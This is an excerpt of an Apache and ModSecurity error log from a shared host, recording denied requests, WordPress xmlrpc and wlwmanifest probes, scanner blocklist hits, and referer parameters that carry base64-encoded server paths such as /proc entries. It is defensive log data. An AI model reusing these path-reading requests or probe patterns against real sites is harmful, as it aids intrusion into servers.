https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIy [Sat Jun 13 18:11:52.695738 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIy [Sat Jun 13 18:11:53.022098 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.6:39412] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:53.022355 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.6:39412] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:53.069444 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:11:53.069717 2026] [access_compat:error] [pid 531797:tid 531882] [remote 74.7.242.16:47660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQxL2N3ZA== [Sat Jun 13 18:11:53.152189 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.49:51789] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:53.152456 2026] [access_compat:error] [pid 531797:tid 531986] [remote 57.141.14.49:51789] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:53.220409 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:11:53.220717 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:11:53.396836 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.7:37285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:53.397258 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.7:37285] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:53.653930 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.63:59392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:53.654355 2026] [access_compat:error] [pid 531155:tid 531184] [remote 57.141.14.63:59392] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:53.761970 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:53.762249 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:53.885835 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.103:26520] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:53.886188 2026] [access_compat:error] [pid 531797:tid 531918] [remote 57.141.14.103:26520] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:54.142926 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.36:51030] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:54.143203 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.36:51030] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:54.159265 2026] [autoindex:error] [pid 531797:tid 532010] [client 143.244.57.82:51920] AH01276: Cannot serve directory /home4/ypnynomy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:11:54.304913 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:11:54.305190 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:11:54.307026 2026] [security2:error] [pid 531797:tid 532033] [client 143.244.57.82:51920] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3xysTA7b1mZrmcA-8wcwAAAjg"] [Sat Jun 13 18:11:54.370117 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.47:50258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:54.370427 2026] [access_compat:error] [pid 531797:tid 531896] [remote 57.141.14.47:50258] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:54.655460 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.36:51032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:54.655738 2026] [access_compat:error] [pid 531797:tid 531948] [remote 57.141.14.36:51032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:54.777575 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.99:36398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:54.777895 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.99:36398] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:54.789649 2026] [security2:error] [pid 531155:tid 531168] [remote 17.246.15.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xyimiP80klyS0NnoA8AABYAw"] [Sat Jun 13 18:11:54.797060 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:11:54.797337 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:11:54.819344 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.8:50467] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:54.819631 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.8:50467] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:54.941588 2026] [security2:error] [pid 531155:tid 531297] [client 143.244.57.82:51928] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.57.244.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3xyimiP80klyS0NnoA8gAAARY"] [Sat Jun 13 18:11:55.015876 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.66:52494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:55.016296 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.66:52494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:55.061134 2026] [access_compat:error] [pid 531155:tid 531192] [remote 216.73.216.182:10637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:55.061414 2026] [access_compat:error] [pid 531155:tid 531192] [remote 216.73.216.182:10637] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:55.309174 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:11:55.309503 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9tb3VzZTAvcG93ZXI= [Sat Jun 13 18:11:55.370779 2026] [security2:error] [pid 531797:tid 531875] [remote 17.246.15.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xy8TA7b1mZrmcA-8wlwACMQs"] [Sat Jun 13 18:11:55.478238 2026] [security2:error] [pid 531797:tid 532126] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/get_declared_interfaces_error_001.phpt"] [unique_id "ai3xy8TA7b1mZrmcA-8wnAAAApE"] [Sat Jun 13 18:11:55.548988 2026] [autoindex:error] [pid 531797:tid 532113] [client 143.244.57.82:51936] AH01276: Cannot serve directory /home4/ypnynomy/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:11:55.593668 2026] [security2:error] [pid 531797:tid 532107] [client 182.161.73.20:0] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.hamaraquetta.com"] [uri "/index.php/profile/id/402/robots.txt"] [unique_id "ai3xysTA7b1mZrmcA-8wcgAAAoA"] [Sat Jun 13 18:11:55.695219 2026] [security2:error] [pid 531797:tid 532122] [client 143.244.57.82:51936] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3xy8TA7b1mZrmcA-8wogAAAo4"] [Sat Jun 13 18:11:55.821524 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:11:55.821863 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:11:55.852807 2026] [security2:error] [pid 531797:tid 532021] [client 172.56.168.133:48656] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xy8TA7b1mZrmcA-8wpgAAAi0"] [Sat Jun 13 18:11:55.852992 2026] [security2:error] [pid 531797:tid 532021] [client 172.56.168.133:48656] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xy8TA7b1mZrmcA-8wpgAAAi0"] [Sat Jun 13 18:11:55.930183 2026] [autoindex:error] [pid 531797:tid 532068] [client 208.84.100.62:7320] AH01276: Cannot serve directory /home4/geyserjz/public_html/palloness_host/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:11:55.966632 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.26:54142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:55.967108 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.26:54142] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:56.236204 2026] [security2:error] [pid 531155:tid 531218] [remote 17.241.219.88:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 88.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzCmiP80klyS0NnoBDgABPz4"] [Sat Jun 13 18:11:56.301303 2026] [access_compat:error] 